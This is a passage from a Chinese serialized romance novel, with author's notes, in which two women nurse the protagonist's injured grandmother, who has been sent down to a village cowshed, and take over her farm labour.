这段时间只能咬牙先熬过去,再过一段时间,方便一点后季白青才能找人给温向荣治疗。 温淼闻言,低着头说不出话来。 无力的情绪在内心翻涌。 她一时有些痛恨,自己怎么就那么没用,如果之前愿意跟着温如嫣多学一点医术的话,那现在的情况有没有可能好一些。 温淼的脸上的自责都被季白青看在眼里,她轻轻将人抱住安慰:“蓁蓁,不要多想。“ “相信我好吗?奶奶的事我会想办法的,现在最重要的是要休息好,保证自己的身体才能好好照顾奶奶。” 温淼点头,季白青说的话有道理。 悟已往之不谏。 她现在想再多也没用,唯一能做的便是调整好心态,像是季白青所说的那样,先保证自己的身体。 见温淼像是将自己的话听进去了,季白青的心微微放下。 时候不早了,她将灯熄了,两人准备睡觉。 担心温淼会在晚上多想,季白青哄着她:“早点睡,明天我们起早一点,带你去看奶奶。” 温淼抓着季白青的衣角,轻声应下。 第二日,两人都起得很早。 看着温淼眼下的淡青色,季白青有些无奈,但不好多说什么。 毕竟她晚上想着温向荣的事,也不太能睡着,各种可能的办法在脑海里被演示一遍后又被推翻重建。 她也没睡多久。 洗漱后,季白青揉了面,做了皮薄馅大的包子当早饭。 这也方便带过去给温向荣。 温淼没有胃口,还是季白青坚持让她吃了个包子,才和她一起出门。 季白青想的是,现在温向荣需要她和温淼照顾,无论如何,两个人都得顾着自己的身体,别没照顾温向荣多久,自己先倒下了。 六点多出门,路上已经看到了不少村民,大多数都是背着锄头去自家的地里挖地或是播种,到了上工时间就顾不上自家的地了。 她们往小石村去,为了避人耳目,季白青挑了个小道,从人迹罕见的小路去的牛棚。 带着温淼到了牛棚前,那扇晃晃悠悠的破门被风吹得嘎吱响,站在门前,看着破旧得随时随地都有倒塌风险的屋子,温淼又有些不敢推开门。 原地站了几秒,她做好了心理建设还是将门推开了。 还不等看清楚里面的景象,就听见了熟悉的声音。 “谁?” 温淼攥紧拳头,往里走了一步,回道:“奶奶,是我。” 几步的距离,屋里的陈设被她收入眼底,空荡、破旧、又潮又暗。 温向荣此时撑着身体坐起来,眯着眼睛往外看,脸上糊着干巴巴的绿色汁液,但还是不难看出凹凸不平的肌肤,像是突然间老了十几岁。 原本中气十足的嗓音也掺了几分虚弱。 即使做好了心理准备,温淼仍然觉得难以接受。 听到温淼的声音,温向荣身体一顿。 随后她平淡的声音再次响起,不带任何情绪:“你怎么来了?不是说让小季不告诉你的吗?” 季白青无奈笑了一声,“奶奶,你这不是为难我。” 温淼说不出话来,季白青轻飘飘接过话茬:“奶奶,给你带了水和洗漱用品,你快去洗洗,今天早上吃包子,芥菜鸡蛋馅儿的。” 她特意将暖水壶里装满了热水拿了过来,牛棚附近附近别说井了,一条河都没有。 用水也困难,更何况温向荣现在的情况也不适合直接用生水,她此时本就虚弱,身上的伤口也更容易感染。 季白青倒了点水在盆里,温淼将毛巾打湿,帮温向荣将脸上的草药擦干净。 汁液被擦拭干净后,显露出来的脸更为狰狞,不过季白青却松了一口气。 至少发炎的情况有所缓解了。 温向荣的额头依旧滚烫,温度没有降下来,还在高烧。 季白青让她先把带来的包子吃了,吃完后给她喂了药。 药效上来了,加上这段时间温向荣压根就没有好好地休息过,身体亏空,格外虚弱,眼皮耷拉着,不大有精神。 但看着担忧的温淼,她再次坚持:“温淼,你和小季好好过日子,不用管我,我的事我有办法解决。” 温淼像是没听到一般,继续帮她掖好被角,柔声道:“奶奶,你好好休息,我中午再来看你。” 她上午还有课,需要赶回学校上课。 温向荣的视线落在季白青身上,眉头皱起:“小季,你带着温淼回去,以后你们都别来了,我不需要你们照顾。” 她现在成分不好,温淼和季白青她们毫不避讳地来照顾她,并讨不到什么好处,最后只会牵连她们,影响她们的正常生活。 温淼打断了温向荣的话,坚定道:“奶奶,你说什么我都答应,但是这件事你别想。” “如果是我被下放,你会放任我自生自灭吗?” 温向荣看着她,毫不犹豫回答。 “会。” 盯着她的眼,温淼的眼眶微红。 “我不信。” 【作者有话说】 换封面是因为在靠前的封面推荐榜单,想吸引更多人进来看啦 对不起,太太太太卡了,十二点以后补上六千的更新吧,写完就发。 因为最近都在关键剧情点,有时候就很纠结到底应该怎么写 话说现在的封面咋样?真的让人没有想点进来的欲望吗?我问了问我朋友,都说很显眼诶 感谢投雷和营养液,感谢订阅评论收藏 73 第73章 ◎口不对心◎ 温向荣是将她一手拉扯大的人,虽然不苟言笑,但对她这个孙女却是一等一的好。 温淼十岁那年出了水痘,发烧烧了几天,温向荣在那段时间事业发展得如日中天,每天忙得脚不沾地,却还是请了假来照顾她。 明明可以托人照顾,但她不放心,把温淼带在了身边。 她现在说的话,温淼一句都不相信。 这些不过是温向荣想要她们离开扯的幌子罢了,每一句话都言不由衷、口不对心。 她没在温淼面前掉眼泪,也不愿听温向荣再多说,便干脆道:“奶奶,我先去上课了,中午再来看你。” 温向荣慢慢阖上了眼,没有回答。 季白青跟在温淼身后出了屋子,在门口,她拿出手帕给温淼按了按眼下。 其实她心里也有些感叹,在温向荣面前,温淼好像又成熟了不少,至少能够更好地控制自己的情绪。 温淼任她动作,等季白青将手帕拿开后,问:“你现在回村里吗?” 季白青摇摇头,“奶奶有活要干,她现在肯定是不能下地的,我来帮她干。” 温淼闻言,心一酸。 “阿青……” 她拉着季白青的手,一时间不知道该说什么。 其实,季白青不用做到这个地步的。 似乎是看出了她内心在想什么,季白青弯起眼睛,轻声道:“蓁蓁,我说过,我也把奶奶当做是亲奶奶,自己的奶奶我怎么可能不心疼呢?” “最近本来没什么事,我也不去黑市,替奶奶干活刚好打发时间。” 骗人,干农活那么累,用什么方法打发时间不好,要选择最辛苦的一种,温淼想。 她还是觉得过意不去,纠结一会儿,慢吞吞表达了自己的意见。 “不然我先请假一段时间吧,奶奶的活应该是我来替她干才对。” 季白青笑着揉她的头发,“瞎说什么,我力气大,干活真不累,你听话,好好上课,中午回去做好饭再带过来。” 温淼知道自己就算说再多也没有用,轻轻点头,抱住了她。 “阿青,谢谢。” 如果没有季白青在的话,她或许现在做不到那么冷静,也没法过得这么轻松。 季白青完全没有必要做到现在这个地步,毕竟……两个人也还没有结婚,她随时都有反悔的机会,但她还是选择了这样做。 这么好的阿青。 拥抱一触即分,温淼很快放开她,和她道别后匆匆往学校去。 看着她纤瘦的背影,季白青揉了揉额角,轻叹一口气。 很奇怪,温淼怎么养都养不胖。 估计再过几天又要瘦一圈。 再次回到屋子里,温向荣睁着眼睛还没有睡,而是掀开了被子,扶着缺个腿的桌子艰难站起来。 季白青见状,皱起了眉,上前要去扶她。 “奶奶,你不好好休息,起来干什么?” 温向荣将她的手甩开,自顾自地跛着腿往外走,只丢下一句话: “你回去吧,让温淼也别来了,我不需要你们操心。” 季白青几步追上她,按住她的肩膀。 温向荣想要反抗,虚弱的身体却支撑不起她在部队里练出的技巧。 最后还是被季白青强行掺着回了屋。 被她瞪着,季白青假装没看到,叮嘱道:“奶奶,你现在还在发烧,多休息几天,活我去替你干。” 这句话她不是第一次听,此时看向季白青的眼神中却有些复杂。 她在之前对季白青一直心有不满,觉得她配不上自家娇矜的孙女。 后来勉强将人看顺眼,也不过是想要为温淼找一个好的归宿。 季白青喜欢温淼,虽然穷,但背景干净,温淼的户口单独出来,本就和温向荣的关系不大,有了季白青这样一个祖上三代贫农的妻子后,受到她的影响只会更少。 但她怎么也没有想到,季白青竟然愿意做到这个份上。 她此时不得不承认,温淼的眼光确实不错。 但她还是坚持要自己去干活。 季白青一时间觉得头疼,只能先应付老太太:“奶奶,你先在屋子里休息,我帮你干几天活,等你退烧之后我就走,你知道蓁蓁一直很担心你。” 她这样说,温向荣反而犹豫了,最后还是点了头,只是坚持让季白青在这等着,她去找村长领任务。 季白青面上答应了,但还是不放心,悄悄跟在她身后。 从背后看过去,因为腿脚不便,温向荣的身形佝偻了几分,每走一步,左肩都往下沉。 现在正是上工的时间,小石村的村民见着温向荣,都纷纷往旁边靠,几人捂着嘴,眼神嫌弃地看着她,指指点点、窃窃私语。 季白青被迫听了一耳朵,都不是什么好话。 她抿着唇,沉默地跟在她身后。 和她所想的一样,温向荣领了任务之后没有回牛棚,而是只身一人去地里。 今天生产队给她安排的是开垦一块新的荒地,长满了杂草,一锄头下去,能挖出来几个石头。 温向荣还需要弯腰将石头捡起来,丢到一边。 本来腿脚就不方便,她年纪大了,弯腰对她来说要比常人困难些。 季白青只是看了一会儿就受不了了,走到温向荣的面前,将锄头抢过去。 “奶奶,你回去休息。” 现在天气还冷,温向荣不过是干了几分钟的活,就出了一身的冷汗。 汗液咸湿,沾在脸上蛰得伤处火辣辣的疼。 沉默着和季白青对峙一会,温向荣还是犟不过她。 转过身深一脚浅一脚往往牛棚走。 季白青忽视别人带着异样的眼神,不远不近地跟在她身后,看着她老实进了牛棚里休息后才回地里准备干活。 扛着锄头回地上,正准备干活,瘦竹竿似的男人突然凑过来,嬉笑开口:“同志,你怎么在这?那个老太婆呢?” “叫我声哥哥的话,我倒是可以帮你干活。” 原本男人得知自己被分配到黑五类的旁边干活,还暗道晦气。 但到地里后才发现在他旁边那块地上不是那个老太婆,而是个白净秀致的姑娘。 这地儿偏僻,就他们两个人……他嘿嘿一笑,自然想要搭讪一番。 听出他语气中的不怀好意,季白青没有理他,挥着锄头开始挖地。 眼见着锄头要砸到自己,对方还丝毫不给自己面子,瘦竹竿往后退一步,自觉有些丢脸,黑着脸往地上啐了一口。 “还以为你是个好的,没想到跟那个老太婆一样不是什么好东西!” 季白青没说话,将锄头木柄往后一杵,精准捅到男人的腹部。 捂着肚子,男人跌坐在地上,哆哆嗦嗦道:“你……你!” 季白青语气平淡开口:“对不住啊,没注意到你在我后面这才不小心捅到你,不过谁让你靠这么近。如果你再不走的话,我不能保证还不会不小心伤到你。” 男人捂着肚子站起来,闻言怕她真动手,灰溜溜地跑回了自己被分配的那块地上,将仇暗自记在心里。 这块地上的石头多,手上的锄头还有缺口,不大好使。 季白青干了一上午,也就挖了不到一半。 其她村民背着锄头走上田埂,季白青看一眼时间,下工了。 想着温淼大概会把她的饭一起送过来 ,她往牛棚走。 进了屋里,温向荣坐在稻草上,面向掉渣的墙壁,不知道在想什么。 有一段时间没干农活,握了一上午的锄头,手心被磨出了茧子。 她揉了揉手心,这才问:“奶奶,你在看什么呢?” 温向荣收回视线,“没什么。” 季白青弯腰摸了摸她额头的温度,降下来一些,虽然还热,但比早上要好多了。 她坐在凳子上,也没再说话,两人间的气氛有些尴尬。 好在没多久温淼就过来了,带了两个装得满满当当的饭盒。 打开分别放在两人面前,季白青吃之前问她:“你吃了吗?” 见温淼点头,她还有些不相信,眼神落在她的小腹上。 但隔着外套,什么也看不出来。 温淼被她怀疑的眼神看的有些恼,强调:“真的吃了。” 季白青这才放心,埋头开始吃饭。 将两个人的互动看在眼里,温向荣默不作声地吃饭。 吃了饭,温淼给温向荣脸上的伤口又上了药,又看她喝了退烧药,这才捞起温向荣的裤腿,看着藏在裤管下扭曲的腿,手悬在空中,想去触摸,却又怕弄疼她。 温向荣将裤腿放下去,遮住那处。 “没什么好看的。” 温淼长睫轻颤,轻声附和道:“嗯,没什么好看的。” “奶奶,刚吃了药,你好好休息,不要逞强。” 对上那双澄澈的眼眸,温向荣败下阵来,哑声回答:“好,知道了。” 季白青在一边看得啧啧称奇。 自己对温向荣说话不管用,还得是温淼亲自来才行。 看着温向荣睡下,两个人没在屋子里多呆。 出了牛棚后,才小声说话。 刚才吃饭的时候温淼就注意到了她发红的手心,此时展开一看,看出上面新生的茧,她用柔软的指腹摩挲而过。 “疼吗?”温淼心疼询问。 季白青不想她担心,抽回了手,轻快地回:“不疼。” 温淼闷闷点头,见季白青准备继续去地里,她跟在她身后。 季白青转过身去,看着女人有些无奈。 “怎么了?不回去休息休息?” 温淼摇头,“下午没有课,我和你一起去地上。” 这话一出,季白青第一时间是反对。 “我一个人就好,如果你不想一个人在家里,去看着奶奶也好。” 季白青自己干惯了农活还好,但现在的温淼却不怎么吃过苦,双手柔嫩纤细,修长漂亮,不应该是用来干这些的。 【作者有话说】 真的好卡啊(叹气 感觉写到比较压抑的章节,自己的心情也被影响得有点不好 如果电脑还有电的话,晚点还会有一章,八千的字数会补上的 感谢投雷和营养液,感谢评论订阅收藏 74 第74章 ◎此时此刻◎ 温淼光是看季白青的表情就能够将她心里的想法猜得七七八八,她有些不大高兴,强调:“阿青,你能做的事我也能做。” 这季白青当然知道,在原书中,没有她,温淼靠着自己,干了很多活。 季白青只是单纯不舍得让温淼做而已。 但被那双漂亮的桃花眼直勾勾盯着,她还是没能坚定自己的立场,只能给温淼找了个相对简单的活儿。 让她把挖出来的石头给捡出来扔到一边。 有了温淼在一边帮忙,季白青确实要比上午要轻松一点。 活干到一半,季白青耳朵一动,突然停下手中的活,看着向自己走来的两人。 “村长,你看,这地不是那坏分子的嘛,怎么没见着她的人!” 看着有几分眼熟的男人,季白青眼睛微微眯起,眸中有些不耐。 瘦竹竿被她黝黑的眸子盯着,有几分心虚,但意识到自己身边有人替自己撑腰,又立马挺直了腰杆。 “就是她!她不是我们村的吧!” 定睛一看,男人才发现地里还多了个人,还没等他将人看清楚,季白青几步上前,挡住他的视线。 村长见着她们,奇怪道:“你们是谁?温向荣呢!怎么没见着她的人?!” 他的眉头隆起,面色十分不悦。 季白青镇定道:“村长,温向荣病了,我们是来替她干活的。” 村长还没说什么,男人倒是在一边煽风点火:“帮坏分子的人,肯定也不是什么好东西!” “她那么差的成分,怎么还逃避劳动!”村长拍大腿。 季白青扯唇假笑,“村长,她发烧了,年纪大了实在是起不来。不是把每天的活干完就行吗?你看行行好,别追究了。” 村长眼神在她们身上打量一番:“你们和她是什么关系?” 季白青指着温淼,“她孙女。” 又指着自己:“她孙女媳。” 她微笑道:“村长,你去忙吧,我们会把她今天的活干完的。” 瘦竹竿明显还有些不服气,“村长,这两个人来路不明,不能这样就算了!” 村长脸色有些为难,季白青忍住了想要动手的冲动,对村长道:“村长,我们是隔壁村的,我姓季。” 隔壁就是云水村,还姓季,这个姓不多,村支书恰好就是这个姓氏。 他脸色一变,最终点头,没再多说什么。 男人还没明白发生了什么让他的态度转变,跟在他屁股后面喋喋不休,最终被甩了个大嘴巴子才讪讪闭嘴。 温淼有些担心,“阿青,你那么说真的没问题吗?” 她担心会影响到季伟和何香月。 季白青摇摇头,“回去我和娘爹她们说一声。” 两人没再多说,埋头干活。 直到暮色四合之时,一块地被开垦得差不多了。 将最后一点处理完,季白青拍了拍手上的泥,“走,回去了。” 和温淼一起去河边洗了把手,她们将锄头放回仓库,往家走。 她们回来的比何香月她们还要晚,饭正在煮,季伟在炒菜。 见她们回来了,何香月奇怪道:“怎么最近天天早出晚归的?” 平时没见她们这么忙过。 季白青摇头,“娘,待会儿吃饭再说。” 她们先去洗了个澡,做好饭后季白青装好饭和温淼一起给温向荣送过去。 季白青在牛棚外等着,给祖孙两人单独说话的空间。 屋内,温向荣看着苍白着一张脸的温淼,没好气:“我又没死,用不着你这么担心。” 温淼祈求:“奶奶……不要说这种话。” 放在平时,温淼可能还会和她闹脾气,但是看着现在的温向荣,她只能生出一腔的酸涩。 温向荣叹出一口气,没动筷子,手掌在温淼的头上拂过。 “蓁蓁,你和小季结婚了,你们就过好你们的日子,不用再管我,我是半截身子入土的人了,不值得你们费心。” 盯着她位置的人太多,温向荣不知道有多少人要等着看她的笑话,她唯一希望的就是自己不会影响到女儿和孙女们。 温淼摇头,坦白道:“我和阿青还没有领证。” 温向荣眉头皱起,“为什么?小季不想?!” 说着,她就要站起来找季白青理论。 温淼拦住她,摇头。 “不是她不想,是我不想。” 准确来说,温淼不是不想和季白青结婚,而是不能。 温向荣定定看着她,良久后发问:“为什么?” 温向荣这么聪明,怎么可能猜不出来。 温淼唇角翘起,视线落在门板上,似乎可以透过门看到门外的人。 她的声音轻柔,“奶奶,你不想拖累我,我也不想拖累她。” “阿青和阿青的娘爹都是很好的人,我不想影响到她们。” 她没有过感情经历,给季白青的所有爱都是凭借本能。 本能地不愿意季白青被自己拖累影响。 她确实存在私心,舍不得和季白青分开,所以将决定权放在季白青的手上。 如果哪天她不想和自己在一起了,可以主动提出分开。 无论结果如何,她都能够接受。 真的得知了温向荣被下放的消息后,她的心情反而奇异地安定了下来。 温向荣是她的至亲,她不可能看着她一步一步走向死亡,也不会如温向荣所想的那样同她划分界限。 而温向荣现在的身份敏感,她不在意别人的看法,但季白青也必定会受到影响。 她选择让季白青自己决定,起码……温淼有机会享受对方更多一点的爱。 至少此刻,她还拥有。 温向荣沉默了下来,只是问:“你最后不会后悔吗?” 温淼摇摇头,笑着催她:“奶奶,快点吃,阿青还在外面等着我呢。” 等到温向荣吃完了,季白青拿着饭盒和温淼一起往家赶。 何香月她们没动筷子,等着她们一起吃。 戳着碗里的红薯饭,季白青刚想说话,她身边的温淼先她一步开口: “婶、叔,有件事要和你们明说。” 难得见温淼用这样正式的语气说话,何香月和季伟愣愣点头。 季白青在一边张了张唇,最后还是没有插嘴。 温淼的手放在桌下,有些紧张地搅在一起,看着她们,语气有些愧疚: “我家出事了,奶奶被下放到了小石村,她身上有不少伤,又发了烧,我们这两天都是在忙着照顾她,还要把分配给她的任务完成。” 她愧疚地垂下眼,“婶、叔,给你们添麻烦了。” 眼见着她要说出自己意料之外的话,季白青连忙打断她后面的话,“娘爹啊,我今天给温奶奶帮忙,遇上她们村长了,报的爹的名字,会不会有麻烦啊?” 季伟摇头,“没事。” 季白青吐出一口气,“娘,温奶奶她现在的情况不好,我想多去照顾照顾。” 过了一开始的惊讶劲儿,何香月现在已经冷静了下来。 她给温淼夹了一块腊肉,又给季白青夹一块。 “去吧,干活利索点,也别太担心,出问题我和你爹给你想办法。” 她心疼地看了眼温淼,安慰:“淼淼,你奶奶会好起来的,别担心,有什么需要帮忙的一定要和我们说,要是不好意思,那就和白青说。” 温淼张嘴,最终还是将话憋了回去,轻轻点头。 “谢谢婶叔。” 饭桌上的事回了房间后,谁也没有再提。 季白青拎着温淼的手腕看她的手心,这次倒是没有磨出水泡,只是增了粉色的薄茧。 她揉揉温淼的手腕,“疼吗?” 温淼没有回答,只是默不作声地抱住季白青,凭借贴近的身体感受着她平稳的心跳。 季白青干脆她把抱起来,坐在了床边,看她脸上显露的倦色。 两人都累了。 季白青的手放在她的腰窝处,问:“腰酸吗?要不要我给揉揉?” 下午温淼一直在捡石头,很费腰。 温淼轻应一声,软绵绵回答:“有点。” 季白青拍拍她的后腰,示意她趴在床上,等她趴好后掀开她的衣服,露出一截雪白纤细的腰肢。 温淼的腰很细,脊骨内陷,缀着两个浅浅的腰窝。 季白青将手放上去,控制力度认真给她揉按,感受着手下的触感,一时间觉得有些像是在摸羊脂玉。 又温又韧。 温淼有些怕痒,腰也是敏|感点,被她这样按着,溢出来几声细碎笑声。 听着她的笑,季白青原本有些沉闷的心舒展开,苦中作乐想,现在也挺好的,好歹温淼情绪恢复了些。 再给她一点时间,她会把事情都处理好,让温淼以后都不再难过。 给她按得差不多,温淼翻身坐起,主动提出要给她揉揉。 季白青打了个哈欠,抻开肩膀,也趴下来任她动作。 温淼将手放在她的腰上,感受她的体温。 季白青的腰劲瘦,是冷白色调,温淼想着温如嫣教过她的技巧,给季白青按着。 也没多久,就听见了对方逐渐平缓的呼吸声。 她停下动作,看了眼她露出的侧脸,长睫垂下,在眼下投出淡淡的阴翳。 看着像是睡熟了。 用贪婪的眼神盯着她看了好一会儿,温淼也被传染了睡意,关了灯上床,才靠近季白青,就被人自然搂进了怀里。 她的心跳漏了一拍,在季白青的下巴上亲了一口。 晚安。 【作者有话说】 不用担心我,熬夜是大学生的常态[亲亲] 感觉写着写着,内心平静下来,像是得到了净化 昨天的字数补完了,如果没有意外,今天晚上还是正常更新 感谢投雷、营养液,感谢订阅评论收藏~ 75 第75章 ◎在意◎ 第二天恰好赶上了周末,学校放假,温淼也不用再去上课。 在往日里这个时候,季白青和温淼多少都会起晚点,享受难得的能够睡回笼觉的时间。 只是现在她们心里都挂念着温向荣,醒得很早。 起床后简单收拾一番,她们本想去灶房做早饭,却发现厨房早已经飘起了炊烟。 何香月站在灶前,搅着锅里的汤。 见她们醒了,便招呼道:“快去洗漱,马上吃早饭了。” 季白青凑上前看了看,锅里炖了一条鲫鱼,鱼肉细嫩,奶白的浓汤咕噜咕噜地冒着泡。 何香月吩咐道:“这是特意给温淼奶奶炖的,你们待会儿吃完早饭记得带过去。” 季白青抱住她的胳膊,低声撒娇:“娘,你真好。” 何香月甩开她,嫌弃道:“行了,别在这碍手碍脚,赶快去洗漱吃早饭,别待会儿饿着温家婶子了。” 被嫌弃的季白青委委屈屈地去门口洗漱,温淼顺手给她递过她的牙刷。 “还是老婆对我好。”她嘀咕。 温淼擦了擦脸和手,对母女俩之间的互动已经见怪不怪了。 何香月和季伟吃了饭还要去上工,温淼和季白青也没拖拉,毕竟小石村还有个病号等着她们去送饭。 过去晚了怕温向荣饿着。 早上何香月特意蒸了白米饭,除了鲫鱼汤外还做了蒸蛋,将饭菜装好后,她们带上药往小石村走。 将牛棚的门推开,本就破旧的门发出一声无力的呻吟,季白青都担心再多推拉几次,这门会直接掉下来。* 她把装满水的暖水壶放在桌边,抬眼一看,屋子里比昨天要干净整洁了些,大概是温向荣在清醒的时间自己动手整理了一番。 老太太此时已经起来了,将头发一丝不苟地束起,床上的被子也被叠成了豆腐块。 温淼将饭盒打开,“奶奶,吃早饭了。” 她看了季白青一眼,笑吟吟对温向荣道:“今天的早饭还是阿青的娘做的,她知道你生病了,特意让季叔下河抓了条鱼给你炖上。” 闻言,温向荣倒是有些意外。 她没想到,季白青的娘和爹竟然不会嫌弃自己。 她喝了一口鱼汤,里面还加了几片菌菇,尝着鲜甜爽口。 “蓁蓁,小季,替我谢谢她。” 温淼和季白青点头,见她今天没有出言赶她们走,也有些高兴。 温向荣将带来的早饭都吃完后,温淼凑近看她脸上的伤口,贯穿上下脸的那条伤疤好了许多,虽然还在往外渗着脓液,但是比昨天要少,脓液颜色也浅了些。 脸上其它的伤痕大部分开始结疤,褐色的疤痕遍布脸上,虽然还显得恐怖异常,但和前几天相比,状况好了不只是一星半点。 温淼放了心,伤口结疤掉了就好了。 季白青让温向荣先去领自己今天的活儿,今天她要去将昨天开垦出来的那一块地给种上萝卜。 她们没急着去地里,季白青将黄花地丁捣碎,先给温向荣敷着脸。 温淼将药给她喝了,摸她额头的温度。 今天还有些低烧,也不知道什么时候才能够彻底好全。 不过恢复得慢也可以理解,毕竟温向荣现在的身体亏空的厉害,得慢慢补回来才行。 温向荣这些日子清醒的时间也不多,大多数都是昏昏沉沉的,药效上来,温淼哄着她上床躺下。 两人这才领了种子和农具去地上干活。 周六的活儿普遍都轻松一些,大部分村民小半天就可以将一天的活都干完。 温淼和季白青两个人对付一亩地,季白青刨坑,温淼撒种一个上午也干完了。 只是下午还要挑水过来将地浇透,这地儿偏僻,得走一段路。 如果像是上周一样每天下雨也就算了,偏偏这几天都是艳阳天,温度倒还是冷飕飕的,这太阳只刺眼,不暖人。 一亩地,来来回回挑了几十趟水,温淼也吃力地提着一桶水跟着她来回。 柔嫩的手心被桶把勒成深红,季白青看见后心疼得不行,想让她休息休息。 温淼却不愿意,倔强地要和她一起。 将一亩地都浇完后,温淼的手臂还在不自觉地发颤。 季白青觉得心疼的同时又有些好笑,揉了揉自己发疼的肩膀后低头专注帮她按着手腕。 她笑:“让你别提了,看手都抖成什么样了。” 温淼抿着唇,担忧的眼神落在她肩膀上。 自己还是拎的小桶,季白青挑着两个大桶来回,也不知道肩膀成了什么样。 回家给温向荣带了饭,季白青琢磨着之后应该给她在牛棚外修个灶台,这样做饭也方便,不用等她们带饭。 累了一天,她早就饿得不行了,何香月今天还特意将前几天挖地挖到的泥鳅和黄鳝给炖了。 不只是季白青,温淼也比以往要多吃了些。 原本季白青想给温淼的手上了药后再去送饭,但温淼怕饿着温向荣,抽回自己的手。 “先去送饭吧,我没事。” 季白青只好先将药放下,和温淼一起去送饭。 傍晚,温向荣明显要比早上精神一些,去的时候,她正试着在打军体拳。 见状,温淼和季白青的心里都有些欣慰。 有精神了,就意味着病好得差不多了。 见她们来了,温向荣停了动作。 温淼柔声招呼她:“奶奶,吃晚饭了。” 温向荣接过筷子,却一眼看到了温淼手心深红的勒痕。 她的眉宇间隆起一座小山,抓住了温淼的手问:“这是怎么了?” “没事,”温淼轻描淡写地揭过,“奶奶你快吃,不然待会儿冷了。” 看着饭盒里的饭菜,温向荣突然失去了食欲。 温淼不明说,自然代表着这勒痕是因为她而起。 大概是干活的时候勒出来的,温淼自小皮肤薄,痛觉也天生要比常人敏感,是吃不了苦的娇气身体。 再看一眼季白青,虽然不是城里姑娘,但大概也是被母父宠着长大的,可能从小到大都没有干过那么辛苦的活。 沉默一会儿,温向荣吃了口饭,这才淡淡道:“我的身体我自己知道,现在也快好了,你们之后就别来了,偶尔来看看我这个老婆子我也满足了。” “以后的活我都自己干。”她拍板。 她这人有用了一辈子,是母父和丈夫脸上在外的面子,就从来没拖累过谁,此时见娇养大的孙女因为自己受苦,心里不好受。 温淼唇边的笑意不变,温声开口:“奶奶,别说胡话了,快吃饭,不然待会儿该冷了。” 她现在跛了腿,又一身伤,再硬干几天活,不知道什么时候就倒下了。 温淼和季白青两个身体健康的人干着都觉得吃力,更别说是让温向荣去干。 季白青和温淼站在一起,牵住她的手,给她安抚,一边对温向荣开口: “奶奶,你别多想,还是那句话,现在好好养病最重要,帮你干活都是我们自愿的,不辛苦,你养好身体对我们来说才最重要。” 温向荣闷头吃饭,不再说话了。 季白青也没往心里去,反正明天是周日,不用干活,温向荣再怎么不满意明天还是得休息一天。 吃了饭,和温向荣告别,两人牵着手往家走。 路上,温淼的语气有些茫然,第一次说出了内心的困惑:“阿青,奶奶到底做错了什么?为什么会变成现在这个样子,还被下放到牛棚。” 以往落在温向荣身上的眼神都是崇拜、钦佩的,而现在所有人看向她时眼神都带着嫌恶。 她不知道温向荣到底做错了什么。 季白青沉默了一会儿,轻声回答:“有时候没有做错什么也是错误。” 时代前行犹如一场巨大洪流,这个时代的人少有能够自主决定她们的生活,绝大多数都是被裹挟着向前。 即使是温向荣这种身份的人也毫不例外。 但好在,这样的日子,马上就到头了。 只要不放弃希望,很快就能挺过去。 季白青将温淼的手扣紧了些,安慰她:“既然事情变成现在这样了,那我们试着去接受它。蓁蓁,别害怕,我会一直在你身边。” 她是为温淼而来,也想要一直陪在温淼身边。 女主、男主或是剧情线对她来说都不重要,她唯一在意的只有温淼。 季白青的体温一向要比温淼的热,感受着与她相贴的温热的手掌,温淼原本有些焦躁的心像是被溪水抚慰过一般,慢慢平缓下来。 承诺很重,她以前并不觉得能够说出这些诺言的人也能够遵守承诺。 但是如果那人换成了季白青,无论再脱离实际的话温淼都会毫不犹豫地选择相信。 她语气不再沉闷,神色轻快了些,朦胧的轻纱似的月光落在她精致的眉眼,衬得那双浅色的瞳孔越发温柔明澈。 很美。 周围静悄悄一片,只有风一缕一缕扫过两人的发尾。 季白青没能忍住,温热的唇落在她的眉心。 月光轻拢着贴近的两个女人,一触即分的吻结束,或许这都不能算作是吻。 但回到了家,两人泛着薄红的脸在昏黄色的灯光下显得有些无所遁形。 回了房间,看着镜子里自己脸上的红晕,季白青捂住脸,有些没眼看。 都亲过那么多次了,怎么还会因为亲个额头就脸红了? 都怪当时气氛太暧昧。 将所有的责任推卸出去,温淼洗完澡出来,季白青去澡间冲洗一番。 发尾被水汽打湿,她擦了擦,便坐在桌前帮温淼擦药。 放松下来后,才觉得全身酸痛,季白青正准备躺下,就被温淼扯下了衣领。 她迷糊看了眼温淼,温淼的指尖在她肩膀上的红痕上一点,她没收住声音,“嘶”了一声。 温淼一看,都破皮了。 季白青对温淼身上的每一处都在意,但是却不在意她自己。 被重物压出来的痕迹明明比温淼手上的要严重多了,她却一点不上心。 温淼抿着唇,默不作声拿过药给她擦上。 季白青半僵着身体,一时间有些后悔。 肩膀上确实有些刺痛,不过在她看来都是小事。 最主要的是,她太累了,脑子里也就记着给大美人的手擦药这件事了。 她小心觑着温淼的脸色,很没出息地立刻道歉:“对不起老婆,我不是故意的,只是伤口不疼,我就给忘记了。” 温淼不说话,给她擦药的手加了几分力气。 季白青的脸色一变。 温淼停下手上的动作,冷冷地看着她。 女人很少对自己真的生气,冷着脸的时候红唇压平,面上不带什么情绪。 季白青第一时间想的是她的唇好漂亮,想亲。 但在温淼没消气之前,她心里所想的肯定是不可能实现的。 没法,她清了清嗓子,再三保证:“主要是今天太累了,以后身体再有不舒服的地方我肯定不会不管的,蓁蓁,就信我一次吧。” 温淼再度垂头,继续帮她擦药,强调:“下次如果再这样的话,我真的要生气了。” “不会再有下次了。”季白青还是能懂温淼的心情的,毕竟如果温淼自己不舒服还要瞒着她不做处理的话,她也会生气。 听她语气真诚,温淼这才满意了一些。 给她肩膀两边擦好了药后,温淼刚把药放在一边,手腕就被季白青轻轻拽住。 季白青把她拽进自己的怀里,温淼没反应过来,下意识抬头有些愣怔地看着她,饱满的红唇微张,可以看见若隐若现的粉色舌尖。 她将手掌抵在温淼脑后,趁着人还茫然,直接亲了上去。 被人含着唇瓣吸吮,温淼的手下意识圈住了对方的脖子,手指轻轻抓住手下那块布料。 怎么突然就被亲了? 肺腔中的空气慢慢减少,她有些喘不过气,空白的大脑突然冒出这么个疑问。 只是没等她继续深想下去,唇瓣一痛,季白青咬了她一口。 “不专心。”黏黏糊糊的声音从唇边溢出,指责温淼分心。 温淼仰头闭上眼睛,主动去亲她,似乎是在为刚才的走神道歉。 到底没有亲多久,季白青放开她,任由人靠着自己轻轻喘气,她眼皮下垂,亲昵之下,倦意复现。 困。 寡淡的一张脸,她的眼睫纤长,懒懒耷下,唯有唇瓣是红的,染着晶亮的水光。 见着她脸上的困倦,温淼自觉往往床内侧躺下,季白青睡下,往她那边侧身。 忽然想到了什么,温淼突然伸手去拉她的衣领,有些懊恼: 